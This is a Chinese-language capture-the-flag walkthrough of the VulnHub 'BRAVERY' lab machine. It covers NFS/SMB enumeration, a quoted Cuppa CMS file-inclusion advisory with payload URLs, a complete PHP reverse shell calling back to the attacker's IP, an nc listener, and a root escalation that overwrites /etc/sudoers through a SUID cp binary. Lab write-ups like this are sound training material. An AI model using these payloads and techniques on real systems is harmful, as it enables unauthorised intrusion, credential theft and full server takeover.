首页 > 其他分享 >Walkthrough-digitalworld.local: BRAVERY

Walkthrough-digitalworld.local: BRAVERY

时间:2023-06-13 11:36:35浏览次数:42  
标签:digitalworld 60.97 root 192.168 Walkthrough usr kali bin local

0x01 环境

靶机地址:
https://www.vulnhub.com/entry/digitalworldlocal-bravery,281/

0x02 过程

1.信息收集

┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# netdiscover -r 192.168.60.0/24

 Currently scanning: Finished!   |   Screen View: Unique Hosts                                                  
                                                                                                                
 22 Captured ARP Req/Rep packets, from 9 hosts.   Total size: 1320                                              
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.60.97   08:00:27:5a:72:45      2     120  PCS Systemtechnik GmbH

发现IP:192.168.60.97

端口开放情况

┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# nmap --min-rate 10000 -p- 192.168.60.97 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-12 22:06 EDT
Nmap scan report for bravery (192.168.60.97)
Host is up (0.000098s latency).
Not shown: 65522 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
2049/tcp  open  nfs
3306/tcp  open  mysql
8080/tcp  open  http-proxy
20048/tcp open  mountd
40263/tcp open  unknown
56186/tcp open  unknown
MAC Address: 08:00:27:5A:72:45 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.48 seconds

2.思路

端口有点多,先看看nfs有什么

┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# showmount -e 192.168.60.97            
Export list for 192.168.60.97:
/var/nfsshare *
                                                                                                                             
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# mkdir /tmp/nfsshare                                  
                                                                                                                             
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# mount 192.168.60.97:/var/nfsshare /tmp/nfsshare            
                                                                                                                             
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# cd /tmp/nfsshare 
                                                                                                                             
┌──(root㉿kali)-[/tmp/nfsshare]
└─# tree .
.
├── discovery
├── enumeration
├── explore
├── itinerary
│   └── david
├── password.txt
├── qwertyuioplkjhgfdsazxcvbnm
└── README.txt

2 directories, 7 files
                                                                                                                             
┌──(root㉿kali)-[/tmp/nfsshare]
└─# cat itinerary/david                                            
David will need to fly to various cities for various conferences. Here is his schedule.

1 January 2019 (Tuesday):
New Year's Day. Spend time with family.

2 January 2019 (Wednesday): 
0900: Depart for airport.
0945: Check in at Changi Airport, Terminal 3.
1355 - 2030 hrs (FRA time): Board flight (SQ326) and land in Frankfurt.
2230: Check into hotel.

3 January 2019 (Thursday):
0800: Leave hotel.
0900 - 1700: Attend the Banking and Enterprise Conference.
1730 - 2130: Private reception with the Chancellor.
2230: Retire in hotel.

4 January 2019 (Friday):
0800: Check out from hotel.
0900: Check in at Frankfurt Main.
1305 - 1355: Board flight (LH1190) and land in Zurich.
1600 - 1900: Dinner reception
2000: Check into hotel.

5 January 2019 (Saturday):
0800: Leave hotel.
0930 - 1230: Visit University of Zurich.
1300 - 1400: Working lunch with Mr. Pandelson
1430 - 1730: Dialogue with students at the University of Zurich.
1800 - 2100: Working dinner with Mr. Robert James Miller and wife.
2200: Check into hotel.

6 January 2019 (Sunday):
0730: Leave hotel.
0800 - 1100: Give a lecture on Software Security and Design at the University of Zurich.
1130: Check in at Zurich.
1715 - 2025: Board flight (LX18) and land in Newark.
2230: Check into hotel.

7 January 2019 (Monday):
0800: Leave hotel.
0900 - 1200: Visit Goldman Sachs HQ
1230 - 1330: Working lunch with Bill de Blasio
1400 - 1700: Visit McKinsey HQ
1730 - 1830: Visit World Trade Center Memorial
2030: Return to hotel.

8 January 2019 (Tuesday):
0630: Check out from hotel.
0730: Check in at Newark.
0945 - 1715 (+1): Board flight (SQ21)

9 January 2019 (Wednesday):
1715: Land in Singapore.
1815 - 2015: Dinner with wife.
2100: Clear local emails and head to bed.
                                                                                                                             
┌──(root㉿kali)-[/tmp/nfsshare]
└─# cat password.txt   
Passwords should not be stored in clear-text, written in post-its or written on files on the hard disk

得到可能的用户密码

david
qwertyuioplkjhgfdsazxcvbnm

拿着刚才得到的用户密码,查看smb有什么

┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# enum4linux -S 192.168.60.97
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Jun 12 22:27:36 2023

 =========================================( Target Information )=========================================

Target ........... 192.168.60.97
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 192.168.60.97 )===========================


[+] Got domain/workgroup name: WORKGROUP


 ===================================( Session Check on 192.168.60.97 )===================================


[+] Server 192.168.60.97 allows sessions using username '', password ''


 ================================( Getting domain SID for 192.168.60.97 )================================
                                                                                                                             
Domain Name: WORKGROUP                                                                                                       
Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup                                                         
                                                                                                                             
                                                                                                                             
 =================================( Share Enumeration on 192.168.60.97 )=================================
                                                                                                                             
                                                                                                                             
        Sharename       Type      Comment
        ---------       ----      -------
        anonymous       Disk      
        secured         Disk      
        IPC$            IPC       IPC Service (Samba Server 4.7.1)
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            BRAVERY

[+] Attempting to map shares on 192.168.60.97                                                                                
                                                                                                                             
//192.168.60.97/anonymous       Mapping: OK Listing: OK Writing: N/A                                                         
//192.168.60.97/secured Mapping: DENIED Listing: N/A Writing: N/A

[E] Can't understand response:                                                                                               
                                                                                                                             
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*                                                                                   
//192.168.60.97/IPC$    Mapping: N/A Listing: N/A Writing: N/A
enum4linux complete on Mon Jun 12 22:27:36 2023

                                                                                                                             
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# mkdir /tmp/secured  
                                                                                                                             
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# mount //192.168.60.97/secured /tmp/secured -o username=david
Password for david@//192.168.60.97/secured: 
                                                                                                                             
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# cd /tmp/secured
                                                                                                                             
┌──(root㉿kali)-[/tmp/secured]
└─# tree .
.
├── david.txt
├── genevieve.txt
└── README.txt

1 directory, 3 files
                                                                                                                             
┌──(root㉿kali)-[/tmp/secured]
└─# cat david.txt  
I have concerns over how the developers are designing their webpage. The use of "developmentsecretpage" is too long and unwieldy. We should cut short the addresses in our local domain.

1. Reminder to tell Patrick to replace "developmentsecretpage" with "devops".

2. Request the intern to adjust her Favourites to http://<developmentIPandport>/devops/directortestpagev1.php.
                                                                                                                             
┌──(root㉿kali)-[/tmp/secured]
└─# cat genevieve.txt 
Hi! This is Genevieve!

We are still trying to construct our department's IT infrastructure; it's been proving painful so far.

If you wouldn't mind, please do not subject my site (http://192.168.254.155/genevieve) to any load-test as of yet. We're trying to establish quite a few things:

a) File-share to our director.
b) Setting up our CMS.
c) Requesting for a HIDS solution to secure our host.
                                                                                                                             
┌──(root㉿kali)-[/tmp/secured]
└─# cat README.txt   
README FOR THE USE OF THE BRAVERY MACHINE:

Your use of the BRAVERY machine is subject to the following conditions:

1. You are a permanent staff in Good Tech Inc.
2. Your rank is HEAD and above.
3. You have obtained your BRAVERY badges.

For more enquiries, please log into the CMS using the correct magic word: goodtech.
                                

发现路径genevieve

查看80端口,发现只是个测速页面
image

进入刚才发现的路径,发现新的内容
image

点击Internal Use Only进入到登录界面,发现cuppacms
image

搜索漏洞

┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# searchsploit cuppa                    
------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                             |  Path
------------------------------------------------------------------------------------------- ---------------------------------
Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion                            | php/webapps/25971.txt
------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
                                                                                                                             
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# ls
                                                                                                                             
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# searchsploit -m php/webapps/25971.txt 
  Exploit: Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion
      URL: https://www.exploit-db.com/exploits/25971
     Path: /usr/share/exploitdb/exploits/php/webapps/25971.txt
    Codes: OSVDB-94101
 Verified: True
File Type: C++ source, ASCII text, with very long lines (876)
Copied to: /home/kali/Desktop/oscp/25971.txt


                                                                                                                             
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# cat 25971.txt 
# Exploit Title   : Cuppa CMS File Inclusion
# Date            : 4 June 2013
# Exploit Author  : CWH Underground
# Site            : www.2600.in.th
# Vendor Homepage : http://www.cuppacms.com/
# Software Link   : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip
# Version         : Beta
# Tested on       : Window and Linux

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /
  / XXXXXX /
 (________(
  `------'

####################################
VULNERABILITY: PHP CODE INJECTION
####################################

/alerts/alertConfigField.php (LINE: 22)

-----------------------------------------------------------------------------
LINE 22:
        <?php include($_REQUEST["urlConfig"]); ?>
-----------------------------------------------------------------------------


#####################################################
DESCRIPTION
#####################################################

An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.

http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]

#####################################################
EXPLOIT
#####################################################

http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

Moreover, We could access Configuration.php source code via PHPStream

For Example:
-----------------------------------------------------------------------------
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
-----------------------------------------------------------------------------

Base64 Encode Output:
-----------------------------------------------------------------------------
PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gIkRiQGRtaW4iOwoJCXB1YmxpYyAkdGFibGVfcHJlZml4ID0gImN1XyI7CgkJcHVibGljICRhZG1pbmlzdHJhdG9yX3RlbXBsYXRlID0gImRlZmF1bHQiOwoJCXB1YmxpYyAkbGlzdF9saW1pdCA9IDI1OwoJCXB1YmxpYyAkdG9rZW4gPSAiT0JxSVBxbEZXZjNYIjsKCQlwdWJsaWMgJGFsbG93ZWRfZXh0ZW5zaW9ucyA9ICIqLmJtcDsgKi5jc3Y7ICouZG9jOyAqLmdpZjsgKi5pY287ICouanBnOyAqLmpwZWc7ICoub2RnOyAqLm9kcDsgKi5vZHM7ICoub2R0OyAqLnBkZjsgKi5wbmc7ICoucHB0OyAqLnN3ZjsgKi50eHQ7ICoueGNmOyAqLnhsczsgKi5kb2N4OyAqLnhsc3giOwoJCXB1YmxpYyAkdXBsb2FkX2RlZmF1bHRfcGF0aCA9ICJtZWRpYS91cGxvYWRzRmlsZXMiOwoJCXB1YmxpYyAkbWF4aW11bV9maWxlX3NpemUgPSAiNTI0Mjg4MCI7CgkJcHVibGljICRzZWN1cmVfbG9naW4gPSAwOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3ZhbHVlID0gIiI7CgkJcHVibGljICRzZWN1cmVfbG9naW5fcmVkaXJlY3QgPSAiIjsKCX0gCj8+
-----------------------------------------------------------------------------

Base64 Decode Output:
-----------------------------------------------------------------------------
<?php
        class Configuration{
                public $host = "localhost";
                public $db = "cuppa";
                public $user = "root";
                public $password = "Db@dmin";
                public $table_prefix = "cu_";
                public $administrator_template = "default";
                public $list_limit = 25;
                public $token = "OBqIPqlFWf3X";
                public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";
                public $upload_default_path = "media/uploadsFiles";
                public $maximum_file_size = "5242880";
                public $secure_login = 0;
                public $secure_login_value = "";
                public $secure_login_redirect = "";
        }
?>
-----------------------------------------------------------------------------

Able to read sensitive information via File Inclusion (PHP Stream)

################################################################################################################
 Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################                                                                  

发现远程文件包含漏洞

编写webshell

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 [email protected]

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.60.45';
$port = 8080;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

准备http服务

┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
http://192.168.60.97/genevieve/cuppaCMS/alerts/alertConfigField.php?urlConfig=http://192.168.60.45/shell.php

得到反弹shell

┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# nc -lvnp 8080                                     
listening on [any] 8080 ...
connect to [192.168.60.45] from (UNKNOWN) [192.168.60.97] 52670
Linux bravery 3.10.0-862.3.2.el7.x86_64 #1 SMP Mon May 21 23:36:36 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 22:43:47 up 18:55,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
sh: no job control in this shell
sh-4.2$ ls 
ls 
bin   dev  home  lib64      media  opt   root  samba  srv  tmp  var
boot  etc  lib   local.txt  mnt    proc  run   sbin   sys  usr
sh-4.2$ cat local.txt
cat local.txt
Congratulations on obtaining a user shell. :)

提权过程

python -c "import pty;pty.spawn('/bin/bash')"
bash-4.2$ find / -user root -perm -4000 2>/dev/null
find / -user root -perm -4000 2>/dev/null
/usr/bin/cp
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/Xorg
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/passwd
/usr/bin/ksu
/usr/bin/at
/usr/bin/staprun
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/sbin/userhelper
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/libexec/flatpak-bwrap
/usr/libexec/sssd/krb5_child
/usr/libexec/sssd/ldap_child
/usr/libexec/sssd/selinux_child
/usr/libexec/sssd/proxy_child
/usr/libexec/qemu-bridge-helper
/usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper

bash-4.2$ LFILE=/etc/sudoers
LFILE=/etc/sudoers
bash-4.2$ echo "apache ALL=(ALL) NOPASSWD:ALL" | /usr/bin/cp /dev/stdin "$LFILE"
<(ALL) NOPASSWD:ALL" | /usr/bin/cp /dev/stdin "$LFILE"                       
bash-4.2$ sudo su
sudo su
[root@bravery /]# id
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0
[root@bravery /]# ls /root
ls /root
Desktop    Downloads  Pictures  Templates  anaconda-ks.cfg    ossec-hids-2.8
Documents  Music      Public    Videos     author-secret.txt  proof.txt
[root@bravery /]# cat /root/proof.txt
cat /root/proof.txt
Congratulations on rooting BRAVERY. :)
[root@bravery /]# cat /root/author-secret.txt
cat /root/author-secret.txt
For those of you who have rooted the MERCY box, welcome back.

Some of you who rooted the MERCY box had an interest on who the author is, and what he might be doing. :-)

If you would like to contact the author, please feel free to find the author at his website: https://donavan.sg

[root@bravery /]# 

发现存在suid的cp命令,直接提权到root

标签:digitalworld,60.97,root,192.168,Walkthrough,usr,kali,bin,local
From: https://www.cnblogs.com/jarwu/p/17475682.html

相关文章

  • vue之elementui使用, vuex使用, Router使用, localstorage和sessionstorage,和cookie
    目录一、elementui使用下载插件vue界的ui库二、vuex的使用1.概念2.何时使用?3、使用步骤:三、Router使用1简单使用2组件中实现页面跳转3路由跳转时,可以使用对象4this.router的一些方法四、多级路由五、路由守卫和两种工作模式路由守卫路由器的两种工作模式六、localstorage和se......
  • 理解ASP.NET Core - 全球化&本地化&多语言(Globalization and Localization)
    注:本文隶属于《理解ASP.NETCore》系列文章,请查看置顶博客或点击此处查看全文目录概述在众多知名品牌的网站中,比如微软官网、YouTube等,我们经常可以见到“切换页面语言”的功能,我们可以选择最适合的语言浏览页面内容。毫无疑问,为网站提供多种语言,页面内容本地化,大大扩展了受众......
  • Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert(nim学习
    ShellcodeExecutioninaLocalProcesswithQueueUserAPCandNtTestAlertAPC队列异步过程调用(APC)队列是一个与线程关联的队列,用于存储要在该线程上下文中异步执行的函数。操作系统内核会跟踪每个线程的APC队列,并在适当的时机触发队列中挂起的函数。APC队列通常用于实现线......
  • Vue——vuex使用、Router使用、localstorage、sessionstorage和cookie
    vuex使用#vuex:状态管理器---》存数据(变量)的地方,所有组件都可以操作在Vue中实现集中式状态(数据)管理的一个Vue插件,对vue应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信<h1>1vuex的使用基本使用(操作state的数据)</h1>......
  • LocalTime 持续时长计算
    publicclassDurationUtil{privatestaticfinalLoggerlog=LoggerFactory.getLogger(DurationUtil.class);publicstaticdoubletoHours(Temporalstart,Temporalend){longminutes=Duration.between(start,end).toMinutes();long......
  • 字符串转LocalDateTime
    /***yyyy-MM-ddHH:mm:ss转LocalDateTime*@paramexpectStartTime*@return*/publicstaticLocalDateTimestrToLocalDateTime(StringexpectStartTime){returnLocalDateTime.parse(expectStartTime,DateTimeFormatter.ofPattern("yyyy-MM-ddHH:......
  • ThreadLocal 与 synchronized 区别
    老实说,从看到这个帖子的题目开始,就觉得帖子的作者估计是在概念上有所混淆了,于是乎想写个咚咚,同大家分享一下自己的心得。帖子上,讨论的人很多,高手不乏,各抒己见,但不知新手们看明白没有,因此,这里偶以最简洁列表方式来说一说相关问题。1.区别ThreadLocal与synchronizedThread......
  • MySQL 服务无法启动, 无法连接/ERROR 2003 (HY000): Can't connect to MySQL server o
    错误情况:状态1:ERROR2003(HY000):Can'tconnecttoMySQLserveron'localhost'(10061)状态2:mysql服务正在启动.mysql服务无法启动 第一步先配置环境 新增系统变量变量名:MYSQL_HOME变量值:mysql的安装目录(解压后目录)新增path配置编辑path新增:%MYSQL_HOME%\b......
  • vue使用localStorage.setItem()存储对象数据的注意事项
    如数据对象:ruleForm:{name:'',password:'',},使用localStoragelocalStorage.setItem("person",JSON.stringify(this.ruleForm));取值localStorage.getItem("person")如果不将对象转换为string类型,在取值的时候就只会取到类似[Object,......
  • 创建NuGet本地包的问题:【LocalNugGet】未将对象引用设置到对象的实例
    现象:创建NuGet本地包后,使用NuGet管理器访问LocalNuGet时,报错:【LocalNugGet】未将对象引用设置到对象的实例检查C:\Users{此处时你的用户名}\AppData\Roaming\NuGet路径下的NuGet.Config配置文件。发现:LocalNuGet名字有重复出现。LocalNuGet后面有参数:protocolVersion......